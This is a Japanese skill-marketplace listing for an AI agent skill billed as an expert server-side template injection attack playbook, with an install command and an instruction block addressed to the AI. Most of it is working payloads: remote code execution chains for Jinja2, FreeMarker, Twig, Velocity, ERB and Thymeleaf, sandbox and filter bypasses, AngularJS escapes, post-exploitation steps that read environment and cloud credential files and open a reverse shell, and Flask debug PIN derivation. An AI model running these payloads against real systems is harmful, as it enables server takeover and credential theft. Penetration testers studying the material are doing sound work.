mcpField
S
ssti-server-side-template-injection

ssti-server-side-template-injection

github.com/yaklangセキュリティ2.6k3.7k 回インストール6 週間前に更新
リポジトリ

ssti-server-side-template-injection について

複数のテンプレートエンジンや式のコンテキストを対象に、サーバーサイドテンプレートインジェクションを検出・分析するセキュリティスキルです。エンジン識別プローブや個別例、ブラインド検出方法を収録しています。

主な機能

  1. 01プローブによるテンプレート評価の識別
  2. 02テンプレートエンジンと言語の対応付け
  3. 03Jinja2、FreeMarker、Twig などを解説
  4. 04サンドボックスやフィルターの回避方法
  5. 05ブール値・時間差・アウトオブバンド検査

活用シーン

  1. 01ユーザー入力欄でテンプレート評価を検査
  2. 02応答からテンプレートエンジンを特定
  3. 03出力が見えない場合にブラインド注入を調査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill ssti-server-side-template-injection

インストール後、Claude Code で/ssti-server-side-template-injectionを入力して読み込まれたか確認します。

同梱ファイルENGINE_PAYLOADS.mdSCENARIOS.md

詳細

スキル:サーバーサイドテンプレートインジェクション(SSTI)— エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:エキスパート向けの SSTI 手法を扱います。ポリグロット検出プローブ、エンジンのフィンガープリンティング、Jinja2/FreeMarker/Twig/ERB の RCE チェーン、クライアントサイド Angular SSTI、バイパス手法を網羅しています。ベースモデルでは、サンドボックスエスケープの MRO チェーンや Jinja2 以外のエンジンを見落としがちです。PHP CMS のテンプレート eval、Jira SSTI、Confluence OGNL、Spring Cloud Gateway SpEL については、関連する SCENARIOS.md を読み込んでください。

0. 関連ルーティング

エンジン固有の本格的なエクスプロイトを行う前に、まず次を読み込むことができます。

  • ノイズを抑えたフィンガープリンティングには、このファイルの冒頭にあるポリグロットプローブシーケンスを最初に使用してください
  • Java で ${7*7} または %{7*7} が評価される場合は、expression-language-injection を参照してください(SpEL/OGNL)。テンプレートエンジンとは攻撃対象が異なります
拡張シナリオ

次の内容が必要な場合も、SCENARIOS.md を読み込んでください。

  • Maccms 8.x の PHP テンプレート eval — vod-search 内の {if-A:phpinfo()}{endif-A}、Web シェル書き込みの Base64 バイパス
  • Jira CVE-2019-11581 — 「Contact Administrators」フォーム → Velocity テンプレートインジェクション → 管理者宛てメール内のコマンド出力
  • Spring Cloud Gateway SpEL(CVE-2022-22947)— 出力を取得する StreamUtils.copyToByteArray を使った actuator ルートインジェクション
  • Struts2 OGNL S2-045(CVE-2017-5638)— _memberAccess/OgnlUtil のブラックリストを解除する Content-Type ヘッダー OGNL インジェクション
  • Confluence OGNL CVE-2021-26084 — \u0027 の Unicode バイパスを使った createpage-entervariables.action
  • SSTI と EL インジェクションの識別ガイド
  • 追加のテンプレートエンジン:ASP.NET Razor、Elixir EEx、PHP Smarty/Latte/Blade、JS Pug/Handlebars/Nunjucks/EJS/Lodash + 汎用検出 + ブラインド SSTI + Flask PIN の計算

SCENARIOS.md の参照先(§7~§11): Razor、EEx/LEEx/HEEx、PHP スタック、JavaScript テンプレートエンジン、汎用ポリグロットプローブ、数学的フィンガープリンティング、ブラインド SSTI(ブール値/時間/OOB)、Flask デバッグ PIN の前提条件に関する拡張ペイロードとエンジン固有の注記については、SCENARIOS.md を参照してください。このスキルでは、§13~§15 に簡潔なチェックリストを記載しています。

エンジンペイロードのリファレンス

エンジン固有の拡張フィンガープリンティング、ペイロード一覧(Jinja2、Twig、Freemarker、Velocity、Pebble、Mako、Slim、Handlebars、Thymeleaf、Smarty、ERB、Jade/Pug)、ブラインド SSTI の検出手法(タイミングベース、DNS ベース)については、ENGINE_PAYLOADS.md を参照してください。

汎用検出とブラインド SSTI(参照先)

まず §1 と §13 のポリグロットペイロードおよび数学プローブを使用してください。より詳しいブラインドテストのパターンや、エンジンごとの例(Python 以外のスタックを含む)が必要な場合は、SCENARIOS.md の §11 を参照し、手法名(ブール値、時間、OOB、エラーベース)については、こちらの §14 と照合してください。


1. 検出 — ポリグロットプローブシーケンス

最初のテスト:SSTI と XSS を区別します。次のプローブを送り、サーバー側で 計算式が評価されるか を確認してください。

{{7*7}}        → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
${7*7}         → IF returns 49 → FreeMarker, Velocity, or Java EL
#{7*7}         → Ruby (ERB interpolation in strings)
<#assign x=7*7>${x}  → FreeMarker
@{7*7}         → Thymeleaf
*{7*7}         → Thymeleaf SpEL (*{...})

Jinja2 と Twig の識別:

{{7*'7'}}
→ 7777777  = Jinja2 (Python string multiplication)
→ 49       = Twig (PHP numeric)

安全な検出プローブ(計算式を使わず、ブール値のみ):

{{''.__class__}}   → class 'str' = Python/Jinja2

2. エンジンと言語の対応表

テンプレートエンジン言語フレームワーク
Jinja2PythonFlask、FastAPI
Django TemplatesPythonDjango
MakoPythonPyramid
TwigPHPSymfony、Laravel
SmartyPHPVarious
FreeMarkerJavaSpring MVC
VelocityJavaVarious Java
PebbleJavaVarious Java
ThymeleafJavaSpring Boot
ERBRubyRails
Slim / HamlRubyRails
Jade / PugNode.jsExpress
HandlebarsNode.jsExpress
TornadoPythonTornado

エラーから言語を特定し、その後テンプレートエンジンを絞り込みます。


3. JINJA2(PYTHON FLASK)— RCE チェーン

チェーン 1:__globals__ 経由で os モジュールにアクセス
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
チェーン 2:MRO サブクラスのトラバーサル(サンドボックスエスケープ)
# List all subclasses:
{{''.__class__.__mro__[1].__subclasses__()}}

# Find subprocess.Popen index (usually around 258-270, varies by Python version):
# Look for "subprocess.Popen" in the list

# Execute command (replace [258] with correct index):
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}
チェーン 3:request オブジェクトのグローバル変数(config がブロックされている場合に有効)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

(_ のフィルタリングを避けるために 16 進数エンコーディングを使用)

チェーン 4:lipsum 関数のグローバル変数(Flask 組み込み)
{{lipsum.__globals__.os.popen('id').read()}}
チェーン 5:cycler オブジェクト
{{cycler.__init__.__globals__.os.popen('id').read()}}
正しいサブプロセスのインデックスを動的に特定する:
# In injection:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in c.__name__ %}
    {{loop.index}}
  {% endif %}
{% endfor %}

4. JINJA2 サンドボックスのバイパス手法

_(アンダースコア)がブロックされている場合:
# Use attr filter with hex encoding:
''|attr('\x5f\x5fclass\x5f\x5f')

# Use getattr via request object:
request|attr('args')|attr('__class__')
.(ドット)がブロックされている場合:
# Use [] subscript notation:
''['__class__']
config['SECRET_KEY']
キーワード(class、mro)がブロックされている場合:

attr() で 16 進数/Unicode を使用します:

|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')
出力エンコーディングによって HTML エンティティが除去される場合:

|safe フィルターを使って自動エスケープを防ぎます。


5. FREEMARKER(JAVA)— RCE

freemarker.template.utility.Execute を介したコマンド実行
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
ObjectConstructor を介する代替方法:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}

6. TWIG(PHP)— RCE

// Twig 1.x (before sandbox):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

// Twig 2.x using built-ins:
{{['id']|map('system')|join}}

// via filter map:
{{app.request.server.all|join(',')}}

7. VELOCITY(JAVA)— RCE

#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)

より直接的な方法:

#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))

8. ERB(RUBY RAILS)— RCE

<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>

9. THYMELEAF(JAVA SPRING)— RCE

Spring EL(SpEL)を使用する Thymeleaf:

// In th:text or th:fragment context:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type

// Fragment expression context:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type

10. クライアントサイドテンプレートインジェクション(AngularJS)

AngularJS がクライアントサイドで使用され、ユーザーデータがテンプレート式に渡される場合:

// AngularJS 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}

// 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

// 1.3.x:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

検出:{{1+1}} を送信します。ページに 2 と表示される場合、AngularJS が DOM 内の式を評価しています。


11. SSTI → 完全な RCE への経路

SSTI detected → identify engine
├── Jinja2 → config.__globals__['os'].popen() 
│           OR subclass traversal for Popen
├── FreeMarker → freemarker.template.utility.Execute?new()
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
├── Velocity → java.lang.Runtime.exec()
├── ERB → <%= `cmd` %>
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
└── Angular CSTI → constructor.constructor('payload')()

RCE 後のピボット:

  1. /proc/self/environ を読み取ります — 認証情報を含む環境変数
  2. アプリケーションの設定ファイルを読み取ります — DB パスワード、API キー
  3. cat ~/.aws/credentials — クラウド認証情報
  4. 永続化のためのリバースシェル

12. よくあるインジェクションの侵入ポイント

ユーザーデータがテンプレートに渡される場所:

  • URL パス:https://site.com/home?name={{7*7}}
  • クエリパラメーター:?message=Hello
  • HTML フォーム:プロフィール名、自己紹介、コンテンツのフィールド
  • エラーページ:404 Not Found: /PAYLOAD
  • メールテンプレート:パスワードリセットメール内の名前
  • インラインテンプレートのレンダリング:render_template_string(user_input)

最も危険:Flask の render_template_string() — ユーザー入力全体がテンプレートとして使用されます。


13. 汎用検出ペイロード

多くのエンジンでエラーまたは評価を引き起こすポリグロットプローブ:

${{<%[%'"}}%\.

ブラインド/エラーの確認に使う数学的プローブ:

{{7*7}}          → 49 (Jinja2, Twig, Nunjucks, Handlebars)
${7*7}           → 49 (FreeMarker, Velocity, EL, Thymeleaf)
<%= 7*7 %>       → 49 (ERB, EJS, EEx)
#{7*7}           → 49 (Pug, Ruby interpolation)
@(7*7)           → 49 (Razor)
{7*7}            → 49 (Smarty)

エラーに基づくエンジンのフィンガープリント(パーサーやスタックトレースにエンジン名が含まれることがよくあります):

(1/0).zxy.zxy

14. ブラインド SSTI の手法

  • ブール値ベース:(3*4/2) と 3*)2(/4 を比較します。前者が評価され、後者でエラーになる場合、評価されている可能性が高いです
  • 時間ベース:{{sleep(5)}}、または遅延を発生させるエンジン固有の同等の式
  • OOB:直接出力が確認できない場合、テンプレート式を介して DNS/HTTP コールバックを行います
  • エラーベース:真/偽の条件に応じて異なるエラーメッセージを発生させます

15. FLASK PIN の計算

Flask のデバッグモード(Werkzeug デバッガー)が公開されているものの、PIN で保護されている場合、PIN はホスト固有の値から導出されます。公開されている PIN 計算スクリプトで一般的に使われる入力値は次のとおりです。

  1. username — /etc/passwd から取得します(Flask プロセスを実行しているユーザー)
  2. モジュール名 — 多くの場合、flask.app または Flask
  3. アプリケーションのパス — app.py または実際のメインファイル名
  4. MAC アドレス — 例:/sys/class/net/eth0/address。Werkzeug が想定する形式に合わせて 10 進数に変換します
  5. マシン ID — /etc/machine-id、または Werkzeug のアルゴリズムに従い、/proc/sys/kernel/random/boot_id と /proc/self/cgroup の先頭行を組み合わせた値
  6. PIN の計算 — これらの値から同じアルゴリズムを実装する、定評のあるオープンソースの PIN 計算ツールを使用します

認可を受けたシステムでのみ使用してください。これらの値を取得するには、事前のアクセス権または別の情報漏えい経路が必要です。

コメント